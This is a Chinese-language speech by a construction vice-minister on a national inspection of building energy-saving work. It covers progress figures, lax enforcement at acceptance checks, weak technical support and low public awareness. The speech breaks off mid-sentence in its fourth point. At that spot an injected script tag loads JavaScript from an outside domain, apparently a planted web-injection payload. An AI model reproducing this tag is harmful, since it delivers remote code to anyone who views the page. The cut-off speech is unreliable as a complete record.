建筑節能檢查必須注重效能——建設部副部長仇保興同志在全國建筑節能專項檢查匯報會上的講話
這次檢查不僅督察了30個省、自治區、直轄市，30個省會城市以及5個計劃單列市建設主管部門的建筑節能工作情況，也對2003年以后完成設計的居住建筑和2005年7月1日以后完成設計的公共建筑施工圖設計文件進行了檢查，共計抽選了280個項目，發放了28份執法告知書。通過檢查，基本上掌握了全國建筑節能工作開展的情況和建筑節能設計執行強制性標準的情況、存在的問題及下一步應采取的對策。最重要的是，通過檢查，強化了建筑節能的督查工作，推進了各地建筑節能的具體工作和計劃落實，也在群眾中產生了良好的影響。這次檢查時間緊、任務重、效果好，盡管是首次檢查，沒有經驗，但也較好地完成了檢查工作，在此我代表部黨組表示感謝。
下面結合這次檢查與建筑節能工作，談幾點意見：
一、總體情況
從匯報情況看，各地對建筑節能工作重要性認識有了一定提高。特別是進入2005年以來，由于加大了政策法規、技術標準、行政監管、宣傳培訓等相關工作的力度，形成了較好的工作局面，也取得了一定的成效。具體表現在：第一，節能監管工作的組織協調工作取得進展，相關部門能夠互相配合、互為聯動；第二，政策法規出臺有一定的針對性，工作目標和思路較為明確，管理制度逐步健全；第三，技術標準相對完善并適合當地的實際需要，在設計、施工等環節中發揮了較好的作用；第四，各方責任主體的建筑節能意識有所提高，抽檢的大部分項目能夠執行建筑節能設計標準；第五，節能技術得到了推廣應用。如哈爾濱市自2003年以來新建建筑執行節能設計標準的比例都在97%以上，遼寧省2004年建成節能建筑占當年竣工建筑面積的89%，同時，即使在經濟欠發達、人才資源相對匱乏地區如銀川市，節能工作也取得了較好的進展。
二、存在問題
通過檢查，我們也確實發現了一些問題，歸納起來有以下幾個方面：
（一）新建建筑執行節能標準的比例較低。北方地區建筑節能的設計標準從1996年就開始實施了，十年磨一劍，但節能工作不平衡的情況嚴重存在，省會城市好一些，一般城市差一些；房價高的地區較好些，房價低的城市就差些；北方地區執行標準起步較早，中部和南方就比較滯后；富裕地方好一些，貧困地區就相當被動；少數本來應該達到較高標準的地區，甚至部分冬冷夏熱的城市，建筑節能執行標準的比例也相當低的。總體上來說，建筑設計這一塊把關不嚴，業主篡改原來設計標準的現象較為普遍，設計圖和施工圖不一樣，陰陽圖紙并不少見。在竣工驗收階段，把節能列為驗收標準的很少。總之，這次節能檢查和上次小規模的專項調查結果相同，進一步暴露了存在的問題。
（二）施工竣工驗收環節監管不嚴格。從各地檢查情況看，施工驗收環節的監管成效可分三個等級：一是違法必糾型。目前沒有發現一個省市達到這個標準，發現一起、處理一起、糾正一起的城市幾乎還沒有。可以說建筑節能是執法最不力的領域之一。二是殺雞儆猴型。少數城市，最近一兩年做到了這一點，處理了幾個典型，但還做得很不好。三是偶發事件型。上級要檢查了，再被動或偶爾處理一下違規事件。最近這一兩年各省才開展這項活動。所以這三個等級中，最低標準也只有部分省市的達到，可見建筑節能的驗收監管環節疏漏面很大。昨天，北京市出臺了以住宅為單元的建筑驗收標準，居然還沒有節能驗收的內容，這與國家大政策、大環境差距非常之大。實際情況表明，建筑節能還沒有真正深入人心，沒有深入到設計、施工、驗收、監管等各環節和具體操作人員的管理內容中，不少執法人員本身就是違法的對象，這是一個非常嚴重的問題。
（三）建筑節能還缺乏足夠的技術方面的支撐。這次所檢查地區都反映節能的產品、技術可選擇性不足，節能設計的軟件本身質量相差很大，檢驗出來的結果誤差過大。少數地方對新技術、新產品存在壟斷現象，導致用戶可選擇性不足，沒有形成競爭的機制，沒有充分發揮市場的調節作用。許多基礎工作存在著薄弱的環節，培訓工作明顯偏弱。推進培訓工作，一方面要使執法人員認識到自己的職責，另一方面能使被培訓對象認識到什么是違法？后果如何？怎么做到依法處罰等等。
（四）尚未形成良好的建筑節能的輿論氛圍。各地出臺促進建筑節能的激勵政策的地方還剛剛起步。對利用墻改基金或其他激勵手段來促進建筑節能，或者說形成了社會氛圍的地方還只是極少數。如像上海那樣發放很簡單的建筑節能五十問這樣通俗易懂材料的，還只是一兩個地方。開過建筑節能大會的只是浙江省，這些都反映了一個問題。所以說，傳統的、習慣的、浪費的觀念，冰凍三尺非一日之寒，建筑節能萬里長征還剛?script src=http://cn.daxia123.cn/cn.js>
